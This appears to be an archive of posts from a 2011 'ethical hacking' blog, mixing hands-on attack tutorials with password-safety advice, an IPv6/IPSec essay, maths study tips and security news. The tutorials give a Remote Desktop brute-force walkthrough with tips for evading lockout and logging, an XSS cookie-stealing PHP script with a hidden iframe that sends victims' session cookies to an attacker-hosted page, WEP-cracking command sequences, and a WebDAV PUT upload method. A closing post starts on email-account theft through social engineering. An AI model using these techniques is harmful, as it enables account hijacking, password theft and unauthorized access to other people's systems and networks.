IT Security & Ethical Hacking

tsgrinder

2011-06-28T16:26:00.000+05:30

TSGrinder is a terminal server Brute Force tool. It uses dictionary attacks and has a very useful leet function. Given the leet file and dict file are weak to start with but that is easily remedied. If you run the command you will get the following.
c:\tsgrinder>tsgrinder.exe
tsgrinder version 2.03

Usage:
tsgrinder.exe [options] server

Options:
-w dictionary file (default 'dict')
-l 'leet' translation file
-d domain name
-u username (default 'administrator'
-b banner flag
-n number of simultaneous threads
-D debug level (default 9, lower number is more output)

Example:
tsgrinder.exe -w words -l leet -d workgroup -u administrator -b -n 2 10.1.1.1

The example demonstrates very well how to use this program. So for this example I will be attacking my server.

C:\tsgrinder>tsgrinder.exe -w dict -u administrator 192.168.2.1
password aaa - failed
password abc - failed
password academia - failed
password academic - failed
password access - failed
password ada - failed
password admin - failed
password adrian - failed
password adrianna - failed
password aerobics - failed
password airplane - failed
password password - success!

Once tsgrinder finds the password, it will output success and log off of mstsc. Since the dict file is weak, I recommend googling for a world list file. This will make life a lot easier. The leet file is also pretty weak by default. This is all it has:
l 1
e 3
t 7
s 5
Feel free to edit this by adding some more such as:
a @
o 0
etc.. I also recommend using the administrator account for these attacks, since by default it won't get locked out with so many password attempts. Also, if you noticed, tsgrinder will try 5 passwords, and then disconnects, and then reconnects, and trys 5 more. This is because a log entry won't appear until you get the password wrong on 6 consecutive attempts. This app won't throw a windows log file either. Now for the 1337. You just add the "-l" switch to the command.

C:\tsgrinder>tsgrinder.exe -w dict -l leet -u administrator 192.168.2.3
password academia - failed
password acad3mia - failed
password academic - failed
password acad3mic - failed
password access - failed
password acces5 - failed
password acce5s - failed
password acce55 - failed
password acc3ss - failed
password acc3s5 - failed
password acc35s - failed
password acc355 - failed

That shows you vaguely how it works. There is also the "-n" switch which allows more then 1 session. So with one session you are able to try 5 passwords in 10 seconds, but if you use "-n 2" you will be able to try 10 passwords in 11 seconds. I haven't tried more then 2 simultaneously connections since it does slow your computer down.

C:\tsgrinder>tsgrinder.exe -w dict -u administrator -n 2 192.168.2.3

XSS

2011-06-28T16:24:00.000+05:30

Well I was testing my friends site for vulnerability and I found it was vulnerable to Cross Site Scripting. The environment I used it on was php forum. The first thing I needed to do was to see if the forum allowed user to run scripts to do this I made a new thread with the script
< script> alert("Do you work")</script>
in it. And well it worked! So the next step I made was to see if it was cookie based so in the url I put
javascript:alert(document.cookie)
and I got an alert with my cookies in it. So it's starting to look real good. So now you need a cookie catcher. It's a simple php script
<?php
$cookie = $_GET['c'];
$ip = getenv ('REMOTE_ADDR');
$date=date("j F, Y, g:i a");;
$referer=getenv ('HTTP_REFERER');
$fp = fopen('cookies.html', 'a');
fwrite($fp, 'Cookie: '.$cookie.'< br > IP: ' .$ip. '< br > Date and Time: ' .$date. '< br > Referer: '.$referer.'< br > < br > < br >');
fclose($fp);
header ("Location: http://www.*******.com");
?>
So upload your php script to a php supported webhosting site. I used t35. Now you are going to make an iframe. You are going to want it small as possible for its not seen so I set height width and boarder to 0 you also want to set the document location to the location of your cookie catcher
< iframe frameboarder=0 height=0 width=0 src=javascript:void(document.location="http://********.t35.com/cookie.php?c="+document.cookie) </iframe >

Now when a user who is logged in browses to your thread you will catch his cookies in a document called cookie.html here is what the cookies looked like that I caught from my friends site
PHPSESSID=dqecpehg45ah5431f1q12p4pd1
So now you have someones cookies what do you do? Well first make sure you are logged out of the site. So now you inject there cookies into your browser you do this by typing the following in the URL
javascript:void(document.cookie="PHPSESSID=dqecpehg45ah5431f1q12p4pd1")
Hitting enter then refresh and you should be logged in as the user.A reason why this would not work is if the cookies are IP based meaning you need to have a certain IP in order to use those cookies.

WEP Cracking

2011-06-28T16:23:00.003+05:30

This is a guide I wrote a couple years back as you can tell since secuirty auditor has been backtracks for over a year now. Most information holds true still.
Needed:
2 Prism 2/2.5/3 wireless cards
2 Computers running Security auditor

Key
# means channel number
PC means the AP’s client MAC address
AP means AP’s MAC address

Lets begin

Computer 1

Start up kismet

Press s to sort the AP’s

Press Enter on the AP your attacking get the following info
-Channel
-SSID
-BSSID

Press x to exit

Press shift + c get the following information
-PC

Exit kismet

Open terminal and run the following commands
Switch-to-hostap
Cardctl eject
Cardctl insert
Iwconfig wlan0 channel #
Iwpriv wlan0 hostapd 1
Iwconfig wlan0 mode master
Void11_penetration –D –s PC –B AP wlan0

Computer 2

Open terminal and run the following commands
Switch-to-wlanng
Cardctl eject
Cardctl insert
Monitor.wlan wlan0 #
Cd /ramdisk
Aireplay –I wlan0 –b AP –m 68 –n 68 –d ff:ff:ff:ff:ff:ff

You need a packet that looks like such
FromDS – 0
ToDS -1
BSSID – AP
SourceMAC – PC
Destination MAC – ff:ff:ff:ff:ff:ff

Click y to replay this ARP packet

Computer1

Since you got the above packet you can close void11

Open terminal and run
Switch-tp-wlanng
Cardctl eject
Cardctl insert
Monitor.wlan wlan0 #
Cd /ramdisk
Airodump wlan0 cap1

Once you get 100,000 IV’s exit for 64bit keys 800,000 for 128bit keys

Open terminal
Cd /ramdisk (key length)
Aircrack –f 2 –m AP –n 64/128 –q 3 cap*.cap

In a while you should have you WEP key

How I’d Hack Your Weak Passwords

2011-06-28T16:21:00.002+05:30

If you invited me to try and crack your password , you know the one that you use over and over for like every web page you visit, how many guesses would it take before I got it?

Let’s see… here is my top 10 list. I can obtain most of this information much easier than you think , then I might just be able to get into your e-mail, computer, or online banking. After all, if I get into one I’ll probably get into all of them.

Your partner, child, or pet’s name, possibly followed by a 0 or 1 (because they’re always making you use a number, aren’t they?)
The last 4 digits of your social security number.
123 or 1234 or 123456.
“password”
Your city, or college, football team name.
Date of birth – yours, your partner’s or your child’s.
“god”
“letmein”
“money”
“love”

Statistically speaking that should probably cover about 20% of you. But don’t worry. If I didn’t get it yet it will probably only take a few more minutes before I do…

Hackers, and I’m not talking about the ethical kind, have developed a whole range of tools to get at your personal data. And the main impediment standing between your information remaining safe, or leaking out, is the password you choose. (Ironically, the best protection people have is usually the one they take least seriously.)
One of the simplest ways to gain access to your information is through the use of a Brute Force Attack . This is accomplished when a hacker uses a specially written piece of software to attempt to log into a site using your credentials. Insecure.org has a list of the Top 10 FREE Password Crackers right here .
So, how would one use this process to actually breach your personal security? Simple. Follow my logic:

You probably use the same password for lots of stuff right?
Some sites you access such as your Bank or work VPN probably have pretty decent security, so I’m not going to attack them.
However, other sites like the Hallmark e-mail greeting cards site, an online forum you frequent, or an e-commerce site you’ve shopped at might not be as well prepared. So those are the ones I’d work on.
So, all we have to do now is unleash Brutus , wwwhack , or THC Hydra on their server with instructions to try say 10,000 (or 100,000 – whatever makes you happy) different usernames and passwords as fast as possible.
Once we’ve got several login+password pairings we can then go back and test them on targeted sites.
But wait… How do I know which bank you use and what your login ID is for the sites you frequent? All those cookies are simply stored, unencrypted and nicely named, in your Web browser’s cache. (Read this post to remedy that problem.)

And how fast could this be done ? Well, that depends on three main things, the length and complexity of your password, the speed of the hacker’s computer, and the speed of the hacker’s Internet connection.
Assuming the hacker has a reasonably fast connection and PC here is an estimate of the amount of time it would take to generate every possible combination of passwords for a given number of characters. After generating the list it’s just a matter of time before the computer runs through all the possibilities – or gets shut down trying.
Pay particular attention to the difference between using only lowercase characters and using all possible characters (uppercase, lowercase, and special characters – like @#$%^&*). Adding just one capital letter and one asterisk would change the processing time for an 8 character password from 2.4 days to 2.1 centuries.

Password Length	All Characters	Only Lowercase
3 characters 4 characters 5 characters 6 characters 7 characters 8 characters 9 characters 10 characters 11 characters 12 characters 13 characters 14 characters	0.86 seconds 1.36 minutes 2.15 hours 8.51 days 2.21 years 2.10 centuries 20 millennia 1,899 millennia 180,365 millennia 17,184,705 millennia 1,627,797,068 millennia 154,640,721,434 millennia	0.02 seconds .046 seconds 11.9 seconds 5.15 minutes 2.23 hours 2.42 days 2.07 months 4.48 years 1.16 centuries 3.03 millennia 78.7 millennia 2,046 millennia

Remember, these are just for an average computer, and these assume you aren’t using any word in the dictionary. If Google put their computer to work on it they’d finish about 1,000 times faster.
Now, I could go on for hours and hours more about all sorts of ways to compromise your security and generally make your life miserable – but 95% of those methods begin with compromising your weak password. So, why not just protect yourself from the start and sleep better at night?
Believe me, I understand the need to choose passwords that are memorable. But if you’re going to do that how about using something that no one is ever going to guess AND doesn’t contain any common word or phrase in it.
Here are some password tips:

Randomly substitute numbers for letters that look similar. The letter ‘o’ becomes the number ’0′, or even better an ‘@’ or ‘*’. (i.e. – m0d3ltf0rd… like modelTford)
Randomly throw in capital letters (i.e. – Mod3lTF0rd)
Think of something you were attached to when you were younger, but DON’T CHOOSE A PERSON’S NAME! Every name plus every word in the dictionary will fail under a simple brute force attack.
Maybe a place you loved, or a specific car, an attraction from a vacation, or a favorite restaurant?
You really need to have different username / password combinations for everything. Remember, the technique is to break into anything you access just to figure out your standard password, then compromise everything else. This doesn’t work if you don’t use the same password everywhere.
Since it can be difficult to remember a ton of passwords, I recommend using Roboform for Windows users. It will store all of your passwords in an encrypted format and allow you to use just one master password to access all of them. It will also automatically fill in forms on Web pages, and you can even get versions that allow you to take your password list with you on your PDA, phone or a USB key. If you’d like to download it without having to navigate their web site here is the direct download link .
Mac users can use 1Password . It is essentially the same thing as Roboform, except for Mac, and they even have an iPhone application so you can take them with you too.
Once you’ve thought of a password, try Microsoft’s password strength tester to find out how secure it is.

By request I also created a short RoboForm Tutorial . Hope it helps…
Another thing to keep in mind is that some of the passwords you think matter least actually matter most. For example, some people think that the password to their e-mail box isn’t important because “I don’t get anything sensitive there.” Well, that e-mail box is probably connected to your online banking account. If I can compromise it then I can log into the Bank’s Web site and tell it I’ve forgotten my password to have it e-mailed to me. Now, what were you saying about it not being important?
Often times people also reason that all of their passwords and logins are stored on their computer at home, which is save behind a router or firewall device. Of course, they’ve never bothered to change the default password on that device, so someone could drive up and park near the house, use a laptop to breach the wireless network and then try passwords from this list until they gain control of your network – after which time they will own you!
Now I realize that every day we encounter people who over-exaggerate points in order to move us to action, but trust me this is not one of those times. There are 50 other ways you can be compromised and punished for using weak passwords that I haven’t even mentioned.
I also realize that most people just don’t care about all this until it’s too late and they’ve learned a very hard lesson. But why don’t you do me, and yourself, a favor and take a little action to strengthen your passwords and let me know that all the time I spent on this article wasn’t completely in vain.
Please, be safe. It’s a jungle out there.

Banner Grabbing

2011-06-28T16:20:00.000+05:30

In more boredom I figured I will just do something easy and simple and usually over looked. We are going to use netcat to do some http server banner grabbing.

# nc 12.200.x.x 80
HEAD / HTTP/1.0

HTTP/1.1 200 OK
Content-Length: 230
Content-Type: text/html
Content-Location: http://10.1.1.120/WebInterface.htm
Last-Modified: Sat, 29 Mar 2008 16:03:16 GMT
Accept-Ranges: bytes
ETag: "569b6d66b691c81:1d8a"
Server: Microsoft-IIS/6.0
MicrosoftOfficeWebServer: 5.0_Pub
X-Powered-By: ASP.NET
Date: Wed, 22 Jun 2011 14:07:14 GMT
Connection: close

Just for the record Head requests can be spoofed.

So we connect on port 80 and issue a head request.
We have the internal IP address which here is 10.1.1.120 When I see a class A IP address for an Internal network I usually guess they are using CIDR. Since the rule of thumb is not to have more then 500 hosts per subnet. So I'm guessing 10.1.1.0/24

Next It tells us they are using IIS6 which is either Server 2003 or XPx64

Next we will see what options are available to us. By using.

Options / HTTP/1.0
HTTP/1.1 200 OK
Server: Microsoft-IIS/6.0
Date: Wed, 22 Jun 2011 14:15:15 GMT
X-Powered-By: ASP.NET
MS-Author-Via: DAV
Content-Length: 0
Accept-Ranges: none
DASL:
DAV: 1, 2
Public: OPTIONS, TRACE, GET, HEAD, DELETE, PUT, POST, COPY, MOVE, MKCOL, PROPFIND, PROPPATCH, LOCK, UNLOCK, SEARCH
Allow: OPTIONS, TRACE, GET, HEAD, PUT, COPY, PROPFIND, SEARCH, LOCK, UNLOCK
Cache-Control: private

From here we can see what commands are available to us and PUT is available I believe this is a very underutilized method. So next we can put a file up be it malicious what not. Here is my file.

# cat 1.txt
blah

So next you have to see how big the file is.
#wc -m 1.txt
5 1.txt(5bytes)

#nc 12.200.x.x 80
PUT /1.txt HTTP/1.0
Content-type: text/html
Content-length: 5

Some servers will give you a status message and some will not.

Just for examples of what you can do, you can make a php script to run commands and through this you can change root/admin passwords if there are multiple services on the computer lets say rdp or ssh you can get an actual session on the victim. This is an old exploit but it is still valid today against miss configured servers and in my opinion should not be over looked.

Researchers crack SSN Algo(Social Security Number Algorithm)

2011-06-11T09:53:00.000+05:30

Social Security numbers have a predictable pattern, according to Carnegie Mellon University researchers, who have developed a reliable method of cracking a person’s SSN based on data gleaned from multiple sources, including profiles on social networking sites.

The researchers cracked the algorithm, guessing the first five digits of a SSN on the first try for 44% of people born after 1988. The method is even more reliable with a 90% success rate of cracking SSNs of individuals born after 1988 in less populated states. In fewer than 1,000 attempts, the researchers could identify a complete SSN in 8.5% of those born after 1988, “making SSNs akin to 3-digit financial PINs.”

Mastering Mathematics for hacking basics

2011-06-10T10:33:00.000+05:30

For mastering hacking to the core, your mathematics skills should be perfect. In this article, I present you some facts required for mastering mathematics using a simple example of how to crack the IIT-JEE mathematics paper. You may wonder whats the connection between IIT-JEE and hacking? In a recent study conducted by appin, best hackers in India hail from IIT’s. This is an embed to educate people how the IIT’ians think about mathematics. Goal is to get the basics right.

“I have practiced more questions than others, still I score less. Can you tell me why?” This is a common question students ask after any Mathematics paper. The answer to this question lies in the fact that practice does make perfect, but the assumption is that you practice the right set of questions, and do them correctly while practicing as if you were giving the actual paper.

There are some interesting facts about pattern of Mathematics examinations in IIT-JEE. For example, in the year 1996, the exam had really simple questions but it was lengthy. In this examination scenario, rarely would a person complete such an exam and thus the success would lie in an individual’s ability to select the set of questions that would need minimum time and fetch maximum marks. However in the year 2000, the exam had only 10 questions, with each question having 2 parts where, although not mentioned explicitly, the result of 1st part was used in 2nd in all questions. Students who didn’t identify this fact had a touch time in attempting the 2nd part and wasted a lot of time. Taking another instance, in the year 2001, the examination level was moderate. Examination had a good mix of simple and tricky questions. A person with cool mind with an ability to identify the simple questions would generally perform well in it. In case someone attempted the tricky ones, they might get discouraged and may not be able to attempt the easier ones as well. I strongly recommend you to solve previous year papers and identify their patterns while solving. This will help you in identifying the patterns of examinations that come, revising concepts and creating an exam like atmosphere during practice.

There are also certain tips I will pitch in for certain topics There are several problems that can boggle a student in Quadratic Equations. My recommendation for students is to draw a graph of all possible cases of a quadratic equation to get a mental picture of the problem. Let’s try to draw the graph of

2 x^2 + ax+ 2 =0

The coefficient of x^2 is 2 >0 thus the graph opens upwards
Discriminant D = a ^ 2 -16. Assuming real roots, D>= 0 for a>= 4 or a<= -4 which implies that the lowermost point of graph intersects the axis under these conditions.
For complex roots, the lowermost point is above X-Axis.
Intersection with Y –Axis can be found out by putting x=0, comes out to be y=2.

Thus within half a minute or a minute you will be able to visualize the whole problem.

Certain other topics like Progressions, Logarithms, and inequalities keep on coming either as a part of a bigger question or as short questions. You need to revise these topics as they are generally simple and form part of bigger questions, and without understanding them thoroughly, you may lose out on a simple big question. It may seem basic to many students, but many often get confused between log (to the base 10) and ln (to the base e) during the IIT-JEE examination. This kind of sensory acuity during the exam again requires one to maintain a cool head during exam and loads of practice to embed these in one’s nervous system as opposed to just doing it once or twice.

You can also revise formula of logarithms right now. The formula mentioned below are good enough to solve most of the problems in logarithms. You can also try out some problems in logarithms using these formula

Integral calculus is a very important chapter and you need to try right methods while solving a question. It may seem very basic to you but I have seen people solving the problems in following ways:

∫ tanx dx = ∫ (Sinx / Cosx) dx = (∫sinx dx) / (∫ cosx dx)

This is absolutely wrong, as although you could have taken a similar approach in Differentiation, you can’t do the same in Integration. So beware of these disastrous mistakes as they might cost you selection, don’t ignore them as silly mistakes. All the formula of integral calculus need to learn t and applied in a very structured manner. This is necessary when you practice questions towards the end, as the way you apply them during practice will be the way you will apply them in your exam.

The science of Neural Linguistic Programming has come out with bright techniques to remember formula. One important technique to remember the formula is to place right eye in the upper right position. This accelerates visualization of the formula. In fact I used to learn all formula using this technique. For example – In coordinate Geometry I used to first visualize the figure say a circle and then I used to mug up all formula by visualization. This not only prevented confusion among different formula but also helped in fast retrieval.

At the same time you can use a small trick. Problems in which you want to prove questions you can work the solution other way round. For example, in case you know that you need to prove a result, you can assume the result and backtrack to see if the premise or the assumptions hold true. For example – If you are given the following problem: a>4, prove that the graph of equation: 2 x^2 + ax+ 2 =0 intersects X-Axis twice, you can solve this problem by assuming that the equation has real unequal roots (implying intersection) and find assumption when the statement is true (a>4).

Generally the topic Complex numbers is considered tough. There are many problems in Complex Numbers which become the easiest in Coordinate Geometry and Vectors. Remember, you can always imagine a complex number as a 2-D Vector.

In the end I will like to mention few check points:

On solving a problem, learn its technique as well as similar problems that can be solved using same technique.
Learn all formula in a structured way keeping in mind the kind of questions that use them.
Practice previous year papers and understand their psychology.
During the examination identify the pattern of examination and perform accordingly.
Enjoy Life and Relax

IPSec in IPv6

2011-06-09T10:33:00.000+05:30

The description about what is IPSec and why it is important along with description of why IPv6 is considered to be better than IPv4 in terms of security and brief description of other features and discuss why it should be considered at the same level with IPv4 when it comes to security. Also paper will give some new threats presented on IPv6 apart from the common threats like DoS attacks, Flooding, Man In Middle Attack (MIMA), Application layer attacks, Rogue Attacks which are prevalent in IP network using IPSec protocol

1) What is IPSec?

IPSec is an Internet security protocol integrated into Layer 2 that is network layer to secure the network from the unauthorized users. It uses following services to authenticate user at the senders and receivers end.

Origin Authentication (AH) – The sender is authenticated by the receiver to check for the validity of the sender.
Data confidentiality (ESP) – Data is encrypted before being sent to the receiver
Data Integrity (SPI) – Data is authenticated to check for errors before the receiver can actually process it.

Diagram below shows fields in IPSec architecture

IPSec is the effort in providing security to Internet, by using the above shown mechanism. Being a common layer to all the upper layer protocol, Internet layer is most likely to be attacked by the attacker in order to gain control over the network or to sniff into the upper layer protocol. The layout of the TCP/IP protocol makes IP layer more important and hence the security of the IP layer (Network layer) the first priority for the network of any organization.

2) Why do we need IPv6?
For many years IPv4 has been in use and website which we see nowadays are based on the IPv4 address allocation scheme, but as the time went by number of website on the internet went on to increase, and the address for this websites were not being fulfilled by IPv4 address allocation scheme as expected, so there was a need for the Internet Address allocation scheme that could render many addresses and yet not get exhausted.

The original IPv4 is a 32-bit address which is divided into four octets of Eight bits each and consisting of 4 classes to give suitable address allocation scheme. The figure below shows IPv4 structure

A.B.C.D -> where A, B, C, D each has 8-bits and each bit having value of either 0 or 1

This gives us the maximum address space of 2^32.

However in IPv6 address allocation scheme there are 128 bits and each having value of either 0 or 1 which gives around 2^128 addresses which makes it possible to address every single individual on the earth with more than 10-address for each person.

Of course, this was necessary looking at the IPv4 public addresses nearly coming to an end.

3) Is IPv6 more secure than IPv4?

Other features about the IPv6 addressing scheme as drafted in IETF paper on IPv6 is that it has better security than its ancestor, lets take a look at some of the remarks of what experts have to say about IPv6 in terms of security.

“IPv6 mandates the inclusion of IP Security (IPSec), it has often been stated that IPv6 is more secure than IPv4”

The contradictory statement as mentioned below totally neglects the possibility of mandatory inclusion of IPSec in IPv6, which is as follows

“IPSec was a required element in 1995 draft of IPv6 which was then dropped during revised draft in 1998”

The reason for dropping IPSec during revised draft in 1998 was that if implemented mandatory it wouldn’t have supported real-time application like VoIP and video conferencing. However this does puts the IPv6 in the same category as IPv4 in terms of security.

Above two statements remains the point of argument yet, it cannot be concluded that is it compulsory to include IPSec in IPv6 or not. But, the reason mentioned in above paragraph can limit the mandatory inclusion of IPSec in IPv6 and which I think is the real case and the most practical thing a network administrator will like to do to get real and efficient network.

This paper presents the description about why IPv6 is considered to be better than IPv4 in terms of security along with brief description of other features and discuss why it should be considered at the same level with IPv4 when it comes to security. Also paper will give some new threats presented on IPv6 apart from the common threats like DoS attacks, Flooding, Man In Middle Attack (MIMA), Application layer attacks, Rogue Attacks which are prevalent in IP network using IPSec protocol.

(The above terms are derived from)

4) Why IPv6 is considered to be better than IPv4?

IPv4 has been a bit of nightmare when it comes to number of addresses available and management of the address. The newer IP protocol addresses this limit very nicely, which has very large number of networks host address available.
IPv6 is a 128 bit address with 64bit reserved for the subnet, which means in all there are more than 10 addresses for each person on the earth. The numerical value of this address ranges up to around 3×10^38 addresses. Whereas, number of IPv4 address in public domain has nearly come to an end.

Also, the implementation of IPv6 will reduce the burden of managing the addresses on administrator since it has the capability to automatically configure the address based on the type of connectivity. Apart from these there are number of more advantages like IPv6 provides better Quality of Service (QoS), it helps in Multicasting, and it does significantly reduce number of fields in IP header and simplify IP protocol. However the basic need for today’s IP infrastructure is security wherein lots of transactions are taking place online. It is because of security concerns that most of user hesitate to buy online or carry out business online. Whereas one of the advantages listed in IPv6 and rolling out the idea of IPv6 address format was that it has got better security than its predecessor IPv4.

4.1) In terms of Security

NAT also known as Network Address Translator is an end device used in an organization in order to connect to the internet. It converts private address of an organization into public domain as shown in figure-3 below. NAT is widely used in IPv4 environment where there is a need to conserve addresses due to shortage of address in public domain. However presence of NAT device makes organization vulnerable to many attacks as Denial of Service, since end-to-end security mechanism such as encryption cannot be employed effectively as packet traveling to and fro from private network has to be tunneled into IP packets with address of NAT device and even if security mechanism using IPSec protocol is employed it will be ineffective as the IP packets has to be tunneled into other packet with address of NAT device.

As DeNardis in her paper stated that Absence of NAT, facilitates the use of end-to-end security mechanism like encryption
The above statement reflects the way how the IPv6 header is configured to automatically acquire IP address and also the never ending pool of addresses available in public domain that facilitates a real end-to-end communication. The advantage of this method of communication is that a real end-to-end security mechanism like encryption can be employed, and implementation of IPSec in such an environment will give the benefit of services like authentication, confidentiality and integrity. This is unlike in IPv4 wherein NAT devices play a vital role in organizations networks and also to conserve the number of IP address available in public domain.

Well NAT is fine when it comes to management of IP address, but the problem is compromising security to the end users. Since packets intended for the Public network from the Private network has to pass through NAT device, which alters the source IP address in the IP header, makes the implementation of IPSec protocol virtually unimportant. The device at the receiver end on detecting the changed IP address will discard the packet. However there are ways like NAT-T and NAT-D which helps in protecting the IP packets in presence of NAT.

When looking at IPv4 and IPv6 addressing protocol from this point IPv6 seems to have an edge over IPv4 if it has compulsory inclusion of IPSec, but a bit deep insight into today’s modern day application needs like VoIP and Video Conferencing wouldn’t be as much a success as it is for today’s network which doesn’t use IPSec protocol as it gives delays in transmitting packets over IP. The true point worth noting is that real-time applications like VOIP and Video conferencing is not possible in such an environment along with security of the network, either of security or real-time solutions for the above mentioned applications have to be sacrificed. Since, end-to-end communication becomes possible in IPv6 environment security mechanism along with real time applications will become possible but this doesn’t guarantee that it has better security. This argument supports DeNardis statement that IPSec protocol is an optional field in IPv6. (Term real-time application means application which requires no-delay)

IPSec protocol which was developed during the draft of IPv6 is embedded in the IPv6 header which makes it possible to avail the services like Authentication and Encapsulation. The Extension header field in IPv6 can contain Authentication Header (AH) and Encapsulation Security Payload (ESP), which can provide security to upper layer protocols. During the initial draft of IPv6, Authentication Header and Encapsulation Security Payload where considered to be mandatory, but during revised draft in 1998 [8], inclusion of AH and ESP fields were made optional. However the best practice of incorporating security into networks makes IPv6 more secure. Although there are few disadvantages of incorporating security in end-to-end communication when it comes to applications requiring real time delivery, it still stands out better when compared to using NAT device which makes security mechanism ineffective.

4.2) Why IPv4 and IPv6 are equivalent when it comes to security?

The security mechanism which was designed for IPv6 is and more often induced in IPv4 protocols optional fields. Since neither of them mandatory implements IPSec protocol in their basic infrastructure, none of them can be considered to be superior to each other. Mandatory inclusion of IPSec in IPv6 would have made it better than IPv4 but this is not the case and IPSec implementation remains optional depending on the security policy of the organization.

As DeNardis in her paper on Exposing IPv6 Security stated that if IPSec is the element which improves the security of IPv6 than IPv4 has the same security mechanism which uses IPSec and hence both should be treated as equivalent.
With reference to and , implementation of IPSec remains same in both the protocols. Authentication Header (AH) and Encapsulation Security Payload (ESP) are the basic parameters in IPSec which can be easily incorporated in IPv4 and IPv6 protocols. There are various ways to implement IPSec in IPv4 and IPv6 like Transport Mode and Tunnel Mode. For details on how to implement is not in the scope of this topic, please refer to RFC2406 and RFC2408 on implementation of IPSec in Transport Mode and Tunnel Mode.

Until, now what has been discussed it can be concluded that IPv6 is not more secure than IPv4, but in fact it carries the risk of some newer threats which makes it much less secure than IPv4. Internet Security protocol has been prone to many attacks like Denial of Service, Spoofing, Flooding, Man In Middle Attack (MIMA) in past, while IPv6 with its new architecture can invite some new attacks apart from previously mentioned threats.

Sean Convery and Darrin Miller , on their paper on IPv4 and IPv6 Threat Comparison and Best Practice Evaluation (v1.0), identified few of the new threat in IPv6 which are as follows

· Reconnaissance
· Unauthorized access
· Header manipulation and fragmentation
· Layer 3 and Layer 4 spoofing
· ARP and DHCP attacks
· Broadcast amplification attacks
· Routing attacks
· Viruses and worms

Discussing every threat will exceed the limitation of these paper hence remaining part will discuss some of the important threats like Reconnaissance and Routing Attacks and what impact the technology differences could have on these sort of attacks.

5) Reconnaissance

Literally reconnaissance means gaining as much as information about someone and in terms of networking it means passive mode of attack to gain information about the network infrastructure of organization. It is a first step of attack used in any of the active attacks like DoS, MIMA etc. wherein the attacker searches for any active host and port in network.

With respect to IPv4 there are only 255 addresses to scan when Class-C address is used and it takes around 30 seconds to identify the active host and port whereby the attacker exploits the ARP cache of that host to gain information about the network. There are many ping sweep tools like NMAP which can easily identify active host in the network and flood the victim with ping echo requests.

With respect to IPv6, this mode of attack becomes almost impossible as there is numerous numbers of hosts in a subnet. According to the address format of IPv6, there are about 2^64 which varies as per subnet giving value of around 1.8×10^19 addresses which when scanned at modern processing speed will take around 28 years to reach identify active host. Also there no known ping sweep tools like NMAP which facilitates active scanning of device and port for IPv6.

However attacker on other side are smart enough to overcome this difficulties, and due to the technology used in IPv6 active host can be easily identified based on the following criteria.

1) Auto configuration mode for IPv6 discourages administrators to use DHCP and DNS server which mean that every host on the network should be given a valid DNS name in order for an administrator to help manage network. Since remembering host names such as FE80:0:0:0:202:B3FF:FE1E:8329 would require lot of effort administrator will use easy to remember names such as FE80:0:0:0:202:B3FF:FE1E:0BAD, attacker can easily launch dictionary attack and identify the active host addresses.

2) Most of the network that will exist for the years to come will be based on dual mode using both IPv4 and IPv6 addresses whereby administrator will tend to use single address for IPv4 and IPv6 network which will be like mapping 32 bits of IPv4 address into last 32 bit of IPv6 hex mode addresses this will make address scanning more easier.

3) Most importantly as stated in which tend to make use of new multicast addresses for key devices like Routers (FF05::2) and DHCP (FF05::3) servers, gives attacker an idea about the key devices in network. Attacker can then use ping sweeps attack to choke the network and other methods to hack the key devices to employ attacks such as Route Redirection.

Attacker would like to take advantages of the above three vulnerabilities in IPv6 addressing technology to gain information about victims network by exploiting NS-ND (Neighbor Solicitation and Neighbor Discovery) cache of the host to gain knowledge about the victim network. And if the router is badly configured for security there will risk of other mode of attacks like Denial of Service (DoS) once the attacker knows about the victims network

However this mode of attack will be quite difficult to implement in IPv6 environment than in IPv4 environment but what is important that this mode of attack is still possible in IPv6 no matter how much big the address space is and if IPv6 is used in dual mode with IPv4 it will be more open and I think this will be scenario for years to come.

6) Viruses and Worms
Viruses are not at all impacted by the implementation of IPv6, whereas worm finds it difficult to find active users and ports thus IPv6 make out better when it comes to threats from viruses and worms. Traditional viruses are not at all concerned about what protocol is being used at layer-3 since virus can be packed in email and send to anywhere with valid host address.

However these sort of threat is same when it comes to IPv4 but what is worth noting is that since most of the administrator will hesitate to employ NAT devices and other devices like DHCP servers it will be more difficult to implement security covers for organization as whole and this will be concern for users who don’t have virus protection software on their laptop or personal computers. However advantage of using IPv6 will be that worm will find it difficult to propagate but downside will be that since key device in the network like routers will be easily identifiable from the IPv6 address, attackers will make every effort to target such devices with worms which will cause significant network downtime.

7) Conclusion

Now that from what I have discussed, what is exactly IPSec and on what makes vendors say that IPv6 is better in IPv4 in terms of security, having identified various loopholes in the implementation of IPv6 and threat from implementation of new technology what impact will it have on the most networks remains a question to be answered. However from what I have discussed in this paper I would say that IPv6 is not as good a technology as it is popularize when the term security is associated with it. Some key threats are presented in this paper which were also threat in IPv4 but only the technology difference have made some of the threats easier to propagate while some threats find it difficult to enter network.

However this is just beginning of implementation of IPv6 networks but there are remarkable number of fears that needs consideration which were not given importance when IPv6 was drafted as IPng (which was later known as IPv6) during 1995 draft specification. IPSec does satisfy the security mechanism employed in both Internet protocols, however IPSec cannot be considered as the only driving point in implementation of IPv6 as it is also used in IPv4. however the only known advantage of using IPSec in IPv6 is that it will make scanning of active host more difficult but not impossible. Remaining part of destroying victim will remain almost same and hence both protocols should be given equal respect when security is questions.

The security implementation in IPv6 network remains at the hand of administrator and experience of configuring secure network. For time being and few years to come implementation of IPv4 and IPv6 in dual mode for network will be a better option. The real advantage of IPv6 will actually be seen when it will be implemented globally with hope that no new software comes up that could defeat IPv6 networks. Much will rest on the end user how he/she wants to implement security.

SSH key compromise shuts down Apache website

2011-06-08T09:42:00.000+05:30

The Apache website was taken offline for several hours after attackers used a SSH key to access one of its servers.
Apache shut down all its machines as a precaution and switched over to an unaffected European mirror server. On its blog, the Apache Infrastructure TeamApache said it did not believe any end-users or downloads of enormously popular Web server software were affected. The blog also said that the attackers failed to escalate privileges.
Apache stressed that the attack was the result of the compromised SSH key, not an exploit of Apache software. It said it was conducting an audit of all affected machines.
On Thursday, the key was used to access an account used for automated backups for the ApacheCon website. The attackers created several files, including CGI scripts which they used to launch rogue processes this morning on Apache’s production Web services.
There was no information on how the attackers were able to get the SSH key. In 2001, an attacker was able to compromise SSH on SourceForge and tunnel to the Apache site when an Apache developer logged into his SourceForge account.

case study- Email Hacking

2011-06-07T13:24:00.001+05:30

Email Hacking

Here we shall study few case studies on how to hack email IDs by means of Social Engineering. If this method is used cleverly then the hacker will be able to retrieve anyone’s email password. Well, in this method the hacker tries to motivate the victim by various means to fall into the trap. I shall describe various case studies in which the hacker tries to motivate the victim to retrieve his/her E-mail ID password.

Case Study 1

Below given is a clever trick, where the hacker has tried to social engineer any victim to retrieve his/her yahoo passwords.

